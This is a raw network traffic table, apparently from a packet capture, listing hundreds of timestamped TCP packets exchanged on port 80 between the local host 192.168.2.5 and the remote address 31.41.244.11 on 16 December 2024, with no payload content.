Dec 16, 2024 09:01:11.767251015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.767307997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.767375946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.767422915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.768246889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.768300056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.768425941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.768492937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.769244909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.769295931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.769351959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.769408941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.770234108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.770288944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.770365953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.770448923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.771279097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.771337032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.771375895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.771558046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.772250891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.772309065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.772351027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.772394896 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.773237944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.773298979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.773334026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.773453951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.774213076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.774384022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.774419069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.774502039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.775237083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.775280952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.775290012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.775330067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.776285887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.776321888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.776341915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.776362896 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.777208090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.777261972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.777309895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.777362108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.778198004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.778254032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.778317928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.778367043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.779187918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.779242039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.779323101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.779366016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.780220985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.780273914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.780332088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.780380011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.781203032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.781255007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.781301975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.781351089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.782174110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.782219887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.782267094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.782315016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.783200026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.783267975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.783349991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.783407927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.784192085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.784276962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.784323931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.785177946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.785254955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.785299063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.785343885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.786159039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.786207914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.786287069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.786334038 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.787183046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.787233114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.787271023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.787339926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.788266897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.788316011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.788335085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.788378954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.789164066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.789212942 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.789272070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.789314985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.790286064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.790337086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.790394068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.790450096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.791166067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.791213036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.791290045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.791347980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.792166948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.792211056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.792252064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.792299986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.793150902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.793198109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.793239117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.793284893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.794173002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.794239044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.794254065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.794296026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.795156956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.795206070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.795365095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.795411110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.796128988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.796180964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.796181917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.796217918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.797128916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.797177076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.797220945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.797264099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.798161983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.798211098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.798257113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.798371077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.799122095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.799170971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.799228907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.799273014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.800132990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.800180912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.800221920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.800262928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.801208973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.801268101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.801387072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.801435947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.802118063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.802167892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.802223921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.802269936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.803127050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.803170919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.803322077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.803370953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.804101944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.804152012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.804239035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.804280043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.805104017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.805150986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.805231094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.805279016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.806077957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.806124926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.806195021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.806241035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.807092905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.807138920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.807195902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.807240963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.808093071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.808145046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.808197975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.808248043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.809086084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.809134007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.809199095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.809243917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.810092926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.810147047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.810184002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.810228109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.811038017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.811088085 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.951303005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.951387882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.951427937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.951467991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.951505899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.951530933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.951666117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.951729059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.952743053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.952800035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.952800035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.952878952 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.953564882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.953624010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.953694105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.953743935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.954523087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.954572916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.954643011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.954691887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.955506086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.955559015 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.955627918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.955677986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.956536055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.956588984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.956660986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.956712008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.957521915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.957575083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.957640886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.957695007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.958534956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.958586931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.958703041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.958754063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.959628105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.959681988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.959685087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.959722996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.960669994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.960724115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.960726023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.960782051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.961566925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.961620092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.961668015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.961719036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.962522030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.962574005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.962636948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.962718010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.963512897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.963565111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.963571072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.963615894 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.964513063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.964565992 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.964636087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.964679956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.965509892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.965562105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.965565920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.965616941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.966486931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.966655970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.966715097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.967468977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.967685938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.967739105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.968486071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.968539953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.968622923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.968696117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.969482899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.969706059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.969708920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.969777107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.970485926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.970550060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.970614910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.970666885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.971503973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.971568108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.971724987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.971780062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.972454071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.972508907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.972563028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.972613096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.973459005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.973515034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.973583937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.973633051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.974428892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.974590063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.974649906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.975475073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.975523949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.975595951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.975647926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.976566076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.976624012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.976630926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.976691008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.977432013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.977483988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.977554083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.977607965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.978446960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.978507042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.978523970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.978571892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.979429007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.979506016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.979557991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.980464935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.980530024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.980540991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.981421947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.981475115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.981544018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.981597900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.982434988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.982495070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.982584953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.982634068 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.983421087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.983473063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.983556986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.983624935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.984441042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.984507084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.984535933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.984622955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.985421896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.985543966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.985595942 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.986428976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.986610889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.986665964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.987411976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.987467051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.987534046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.988389969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.988441944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.988508940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.988559008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.989387035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.989437103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.989500999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.989562035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.990379095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.990438938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.990489960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.990535021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.991379976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.991483927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.991523027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.991573095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.992372036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.992511034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.992562056 CET	49817	80	192.168.2.5	31.41.244.11
